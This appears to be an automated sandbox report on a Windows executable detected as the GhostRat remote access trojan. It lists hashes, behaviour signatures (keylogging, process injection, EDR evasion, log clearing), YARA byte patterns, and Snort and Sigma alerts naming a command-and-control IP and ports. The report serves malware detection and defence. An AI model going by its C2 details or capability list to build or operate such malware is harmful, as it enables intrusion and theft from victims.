Edit tour

Windows Analysis Report
2IVWAPeiZm.exe

Overview

General Information

Sample name:	2IVWAPeiZm.exe renamed because original name is a hash value
Original sample name:	06592a8ca068935d98a5ada152e3393d.exe
Analysis ID:	1467970
MD5:	06592a8ca068935d98a5ada152e3393d
SHA1:	41adfa7ad17a0842b62b227b37ea4778fe7d247d
SHA256:	acce6a3f4a8de7b556e74279744466adf4ec318a9fc03c639cdbc7f47c60da0d
Tags:	64exetrojan
Infos:

Detection

GhostRat

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected GhostRat

AI detected suspicious sample

Contains functionality to capture and log keystrokes

Contains functionality to inject code into remote processes

Contains functionality to inject threads in other processes

Found direct / indirect Syscall (likely to bypass EDR)

Found evasive API chain (may stop execution after checking mutex)

Found stalling execution ending in API Sleep call

AV process strings found (often used to terminate AV products)

Checks for available system drives (often done to infect USB drives)

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to clear windows event logs (to hide its activities)

Contains functionality to dynamically determine API calls

Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a DirectInput object (often for capturing keystrokes)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found evasive API chain (may stop execution after accessing registry keys)

Installs a global mouse hook

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains executable resources (Code or Archives)

Sample file is different than original file name gathered from version info

Sigma detected: Communication To Uncommon Destination Ports

Stores large binary data to the registry

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

2IVWAPeiZm.exe (PID: 7272 cmdline: "C:\Users\user\Desktop\2IVWAPeiZm.exe" MD5: 06592A8CA068935D98A5ADA152E3393D)

cleanup

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x11a6d8:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\any[1].png	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x10b0f0:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
C:\Users\Public\Pictures\any.png	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x10b0f0:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000002.4112489647.000001CFB9530000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000003.2285778041.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000003.2629266568.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000002.4112008325.000001CFB9300000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x119f5:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000000.00000003.3349240156.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000003.3706740100.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000003.3726196823.000001CFB9241000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000003.1748764856.000001CFB924D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000003.2820150176.000001CFB9237000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000003.3368802529.000001CFB923B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000003.1748942831.000001CFB9250000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000003.3368874986.000001CFBA031000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000003.3919845681.000001CFBA3F9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000003.2820582683.000001CFBA071000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000003.1748764856.000001CFB9216000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000003.1797698380.000001CFBA031000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000003.3900454177.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000003.1797698380.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000003.3726241114.000001CFBA911000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000003.3726279645.000001CFBA071000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000003.3900337582.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000003.2629229655.000001CFBA911000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000003.2820366657.000001CFBA911000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000003.3181430469.000001CFB9237000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000002.4113444705.000001CFBA432000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000003.3181505839.000001CFBA031000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000003.3919777549.000001CFB9246000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000003.2285716468.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000002.4113319605.000001CFBA3BB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000003.2629266568.000001CFBA031000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000003.1925226889.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000003.2453865521.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000002.4113072764.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000003.3919809789.000001CFBA911000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000003.3006787705.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000002.4112427817.000001CFB9470000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000003.2453718670.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000003.3535968647.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000003.1925169796.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000003.3181469055.000001CFBA911000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000002.4111676483.000001CFB9200000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x11a95:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000000.00000003.2107170872.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000003.2629153864.000001CFB9237000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000003.3368840828.000001CFBA911000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000003.2107104468.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000003.3368874986.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000003.3181505839.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000000.00000002.4113319605.000001CFBA310000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
Process Memory Space: 2IVWAPeiZm.exe PID: 7272	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
Click to see the 46 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.2IVWAPeiZm.exe.1cfba34ac51.7.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.11.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfb925162d.2.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba9111ed.14.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.2.2IVWAPeiZm.exe.1cfba0e5bd1.4.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfb924647d.50.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.21.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.2.2IVWAPeiZm.exe.1cfba385181.9.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.2.2IVWAPeiZm.exe.1cfba432c61.10.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba9111ed.42.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba9111ed.26.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.39.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba031195.28.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.8.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.5.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.38.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfb923b8cd.32.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.12.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba031195.15.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0e5bd1.36.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0e5bd1.36.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.5.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba3f91b5.52.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba031195.28.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfb92413ed.41.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfb925162d.1.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.2.2IVWAPeiZm.exe.1cfba0e5bd1.4.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.6.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0e5bd1.46.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.48.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba031195.15.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba9111ed.33.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfb92170ad.0.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.2.2IVWAPeiZm.exe.1cfb95b06d1.2.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.23.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba9111ed.26.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0e5bd1.49.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba432c61.53.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0e5bd1.44.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.29.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.45.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba3f91b5.52.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0e5bd1.22.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.10.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.2.2IVWAPeiZm.exe.1cfba385181.9.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.2.2IVWAPeiZm.exe.1cfb94711a5.0.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.11.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0e5bd1.37.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.9.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0e5bd1.44.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0e5bd1.24.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0711a5.20.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.34.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.38.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.3.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0e5bd1.17.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.30.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba031195.4.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.2.2IVWAPeiZm.exe.1cfba432c61.10.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.34.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba031195.35.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.16.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfb923764d.25.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.2.2IVWAPeiZm.exe.1cfba310721.8.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.2.2IVWAPeiZm.exe.1cfb9600000.3.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.2.2IVWAPeiZm.exe.1cfb9600000.3.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.45.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0e5bd1.22.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfb925162d.1.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfb924647d.50.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.6.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfb923764d.13.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.47.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.48.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.39.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.2.2IVWAPeiZm.exe.1cfba34ac51.7.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.2.2IVWAPeiZm.exe.1cfba3bec61.6.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0e5bd1.40.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.10.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0e5bd1.27.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0e5bd1.49.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.8.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba9111ed.19.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba9111ed.33.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.47.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0711a5.20.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.2.2IVWAPeiZm.exe.1cfba0ab6a1.5.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0711a5.43.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfb925162d.2.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0e5bd1.40.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.2.2IVWAPeiZm.exe.1cfb95b06d1.2.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.12.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.7.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.2.2IVWAPeiZm.exe.1cfb94711a5.0.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba9111ed.19.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0e5bd1.17.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0e5bd1.27.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba9111ed.14.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.2.2IVWAPeiZm.exe.1cfba0ab6a1.5.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.2.2IVWAPeiZm.exe.1cfba3bec61.6.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba432c61.53.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.23.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba9111ed.51.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0e5bd1.37.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0e5bd1.31.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfb923764d.18.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.9.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba9111ed.51.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.2.2IVWAPeiZm.exe.1cfba310721.8.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba031195.35.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba9111ed.42.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.21.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.3.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.2.2IVWAPeiZm.exe.1cfb9531116.1.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.2.2IVWAPeiZm.exe.1cfb9531116.1.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.7.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba031195.4.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.29.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0e5bd1.24.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0e5bd1.31.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0e5bd1.46.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.30.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0ab6a1.16.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
0.3.2IVWAPeiZm.exe.1cfba0711a5.43.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
Click to see the 119 entries

Sigma Signatures

System Summary

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 206.238.115.146, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Users\user\Desktop\2IVWAPeiZm.exe, Initiated: true, ProcessId: 7272, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49740

Snort Signatures

ET TROJAN Anonymous RAT CnC Checkin - Source IP: 192.168.2.4 - Destination IP: 206.238.115.146

Timestamp:	07/05/24-07:33:08.224440
SID:	2052875
Source Port:	49731
Destination Port:	6666
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Anonymous RAT CnC Checkin - Source IP: 192.168.2.4 - Destination IP: 206.238.115.146

Timestamp:	07/05/24-07:35:32.860010
SID:	2052875
Source Port:	49741
Destination Port:	6666
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Anonymous RAT CnC Checkin - Source IP: 192.168.2.4 - Destination IP: 206.238.115.146

Timestamp:	07/05/24-07:36:35.724322
SID:	2052875
Source Port:	49744
Destination Port:	8888
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Anonymous RAT CnC Checkin - Source IP: 192.168.2.4 - Destination IP: 206.238.115.146

Timestamp:	07/05/24-07:34:21.149333
SID:	2052875
Source Port:	49732
Destination Port:	6666
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 2IVWAPeiZm.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: 2IVWAPeiZm.exe	ReversingLabs: Detection: 57%
Source: 2IVWAPeiZm.exe	Virustotal: Detection: 59%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: 2IVWAPeiZm.exe, 00000000.00000002.4113640461.00007FF6F636B000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_4652869d-6

Source: unknown

HTTPS traffic detected: 159.75.57.35:443 -> 192.168.2.4:49730 version: TLS 1.2

Source: 2IVWAPeiZm.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\rgweq\Desktop\@7\ssp\x64\Release\ssp.pdb%% source: 2IVWAPeiZm.exe, 00000000.00000002.4113640461.00007FF6F6081000.00000040.00000001.01000000.00000003.sdmp
